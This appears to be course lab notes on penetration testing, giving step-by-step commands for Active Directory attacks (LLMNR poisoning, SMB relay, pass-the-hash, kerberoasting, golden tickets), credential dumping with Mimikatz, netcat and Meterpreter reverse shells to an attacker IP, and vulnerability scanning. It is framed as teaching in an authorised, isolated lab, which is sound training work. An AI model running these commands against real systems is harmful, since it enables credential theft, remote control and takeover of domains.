4.

Active Directory : LLMNR poisoning, SMB relays, IPv6 DNS takeovers, pass-the-hash/pass-

the- password, token impersonation, kerberoasting, GPP attacks, golden ticket attacks.Active Directory attacks, including LLMNR poisoning, SMB relays, IPv6 DNS takeovers, pass-the-hash, pass-the-password, token impersonation, kerberoasting, GPP attacks, and golden ticket attacks.

Please ensure you have the necessary permissions and are conducting these tests in a controlled and isolated environment, such as a virtual lab.

Lab Setup

1. **Environment Preparation**:
   - **Virtual Machines**:
     - Windows Server 2019 (Domain Controller)
     - Windows 10 (Client Machine)
     - Kali Linux (Attacker Machine)
   - **Network Configuration**:
     - All machines should be on the same network.
     - Ensure network discovery and file sharing are enabled on Windows machines.

LLMNR Poisoning and SMB Relay

Tools: Responder, ntlmrelayx (Kali Linux)

Step-by-Step Instructions:

1. **LLMNR Poisoning**:
   - Open a terminal on Kali Linux.
   - Run Responder to poison LLMNR and capture hashes:

```
sudo responder -I <interface>
```

2. **SMB Relay**:
   - In a new terminal, start ntlmrelayx to relay the captured hashes:

```
sudo ntlmrelayx.py -tf targets.txt -smb2support
```

   - Create a targets.txt file containing the IP of the target machine.

- Initiate LLMNR request from the Windows 10 client (e.g., by accessing a non-existent network share).

IPv6 DNS Takeover

Tools: MITM6 (Kali Linux)

Step-by-Step Instructions:

1. **Start MITM6**:
   - Open a terminal on Kali Linux.
   - Run MITM6 to spoof DNS responses over IPv6:

```
sudo mitm6 -d <domain>
```

   - Monitor for any DNS requests and analyze the responses.

Pass-the-Hash and Pass-the-Password

Tools: Mimikatz (Windows), impacket (Kali Linux)

Step-by-Step Instructions:

1. **Pass-the-Hash**:
   - On the Windows machine, run Mimikatz to extract NTLM hashes:

```
mimikatz.exe

privilege::debug

sekurlsa::logonpasswords
```

   - On Kali Linux, use impacket to pass the hash:

```
psexec.py <domain>/<user>@<target-ip> -hashes <lmhash>:<nthash>
```

2. **Pass-the-Password**:
   - Similar to pass-the-hash, use impacket:

```
psexec.py <domain>/<user>@<target-ip> -password <password>
```

Token Impersonation

Tools: Incognito, Mimikatz (Windows)

Step-by-Step Instructions:

1. **Extract Tokens**:
   - On the Windows machine, run Mimikatz:

```
mimikatz.exe
privilege::debug
token::elevate
```

2. **Impersonate Token**:
   - Use Incognito to list and impersonate tokens:

```
incognito.exe
list_tokens -u
impersonate_token <domain\user>
```

Kerberoasting

Tools: Rubeus, Mimikatz (Windows), GetUserSPNs.py (Kali Linux)

Step-by-Step Instructions:

1. **Request Service Tickets**:
   - On Kali Linux, use GetUserSPNs.py to request service tickets:

```
GetUserSPNs.py -request -dc-ip <domain-controller-ip> <domain>/<user>
```

2. **Crack the Tickets**:
   - Use Rubeus to request and extract tickets:

```
Rubeus.exe kerberoast
```

   - Crack the tickets with Hashcat:

```
hashcat -m 13100 <tickets> <wordlist>
```

GPP (Group Policy Preferences) Attacks

Tools: Metasploit, Gpprefdecrypt (Kali Linux)

Step-by-Step Instructions:

1. **Extract GPP Passwords**:
   - Use Metasploit to search for GPP passwords:

```
msfconsole
use auxiliary/scanner/smb/smb_enum_gpp
set RHOSTS <target-ip>
run
```

2. **Decrypt the Passwords**:
    - Use Gpprefdecrypt to decrypt the extracted passwords:

```
gpprefdecrypt <cpassword>
```

Golden Ticket Attacks

Tools: Mimikatz (Windows)

Step-by-Step Instructions:

1. **Dump the KRBTGT Hash**:
    - On the Windows Domain Controller, run Mimikatz:

```
mimikatz.exe

privilege::debug

lsadump::dcsync /user:krbtgt
```

2. **Create Golden Ticket**:
    - Use the dumped hash to create a golden ticket:

```
kerberos::golden /user:<username> /domain:<domain> /sid:<domain-sid> /krbtgt:<krbtgt-hash> /id:<rid> /groups:<groups> /startoffset:<startoffset> /endoffset:<endoffset>
```

    - Inject the ticket:

```
kerberos::ptt <ticket>
```

5.

Maintaining access : Reverse shell, file transfer. Web Application Penetration Testing. Automated Vulnerability scanners: Nessus, NMap, Metasploit, Acunetix.

Lab Setup

1. **Environment Preparation**:
   - **Virtual Machines**:
     - Windows Server 2019 (Target)
     - Windows 10 (Target)
     - Kali Linux (Attacker)
   - **Network Configuration**:
     - Ensure all machines are on the same network.

Maintaining Access

Reverse Shell

Tools: Netcat, Metasploit (Kali Linux)

Step-by-Step Instructions:

1. **Netcat Reverse Shell**:
   - On the attacker machine (Kali Linux), open a terminal and start a listener:

```
nc -lvnp 4444
```

   - On the target machine (Windows), run the following command to initiate a reverse shell:

```
nc <attacker-ip> 4444 -e cmd.exe
```

2. **Metasploit Reverse Shell**:
   - On Kali Linux, open Metasploit:

```
msfconsole
```

   - Set up a payload and start a listener:

```
use exploit/multi/handler

set payload windows/meterpreter/reverse_tcp

set LHOST <attacker-ip>
set LPORT 4444

run
```

- On the target machine, generate and execute the payload:

```
msfvenom -p windows/meterpreter/reverse_tcp LHOST=<attacker-ip> LPORT=4444 -f exe -o payload.exe
```

- Execute payload.exe on the target machine to establish a reverse shell.

File Transfer

Tools: Netcat, SCP (Kali Linux)

Step-by-Step Instructions:

1. **File Transfer with Netcat**:

   - On the attacker machine, create a file to transfer:

```
echo "This is a test file" > testfile.txt
```

   - On the attacker machine, start a listener to send the file:

```
nc -lvnp 4444 < testfile.txt
```

   - On the target machine, receive the file:

```
nc <attacker-ip> 4444 > receivedfile.txt
```

2. **File Transfer with SCP**:

   - On Kali Linux, use SCP to transfer files between machines:

```
scp testfile.txt user@<target-ip>:/path/to/destination
```

Web Application Penetration Testing

Tools: Burp Suite, OWASP ZAP (Kali Linux)

Step-by-Step Instructions:

1. **Burp Suite**:

   - Open Burp Suite on Kali Linux.
   - Configure your browser to use Burp Suite as a proxy.
   - Start Burp Suite and capture traffic.
   - Analyze and manipulate requests to identify vulnerabilities (e.g., SQL injection, XSS).

2. **OWASP ZAP**:

- Open OWASP ZAP on Kali Linux.
- Configure your browser to use OWASP ZAP as a proxy.
- Start OWASP ZAP and capture traffic.
- Use automated scanning tools to identify vulnerabilities in the web application.

Automated Vulnerability Scanners

Nessus

Tools: Nessus (Kali Linux)

Step-by-Step Instructions:

1. **Install Nessus**:
    - Download Nessus from the Tenable website and install it on Kali Linux.
    - Start the Nessus service:

```
/etc/init.d/nessusd start
```

- Access Nessus through a web browser at https://<kali-ip>:8834.
- Create an account and log in.

2. **Scan with Nessus**:
    - Create a new scan.
    - Configure the scan by specifying the target IP address and scan settings.
    - Launch the scan and analyze the results for vulnerabilities.

Nmap

Tools: Nmap (Kali Linux)

Step-by-Step Instructions:

1. **Basic Scan**:
    - Open a terminal on Kali Linux.
    - Run a basic scan on the target IP:

```
nmap <target-ip>
```

2. **Advanced Scan**:
    - Perform a more detailed scan with service detection and OS detection:

```
nmap -sS -sV -O <target-ip>
```

Metasploit

Tools: Metasploit (Kali Linux)

Step-by-Step Instructions:

1. **Scan with Metasploit**:
   - Open Metasploit:

```
msfconsole
```

   - Use the auxiliary/scanner/portscan/tcp module:

```
use auxiliary/scanner/portscan/tcp

set RHOSTS <target-ip>

run
```

2. **Exploit with Metasploit**:
   - Search for an exploit module:

```
search <vulnerability>
```

   - Use the exploit module:

```
use <exploit-path>

set RHOST <target-ip>

set PAYLOAD <payload>

set LHOST <attacker-ip>

run
```

Acunetix

Tools: Acunetix (Kali Linux or Windows)

Step-by-Step Instructions:

1. **Install Acunetix**:
   - Download and install Acunetix on your machine.
   - Start Acunetix and log in to the web interface.
2. **Scan with Acunetix**:
   - Create a new scan.

- Configure the scan by specifying the target URL.
- Launch the scan and analyze the results for vulnerabilities.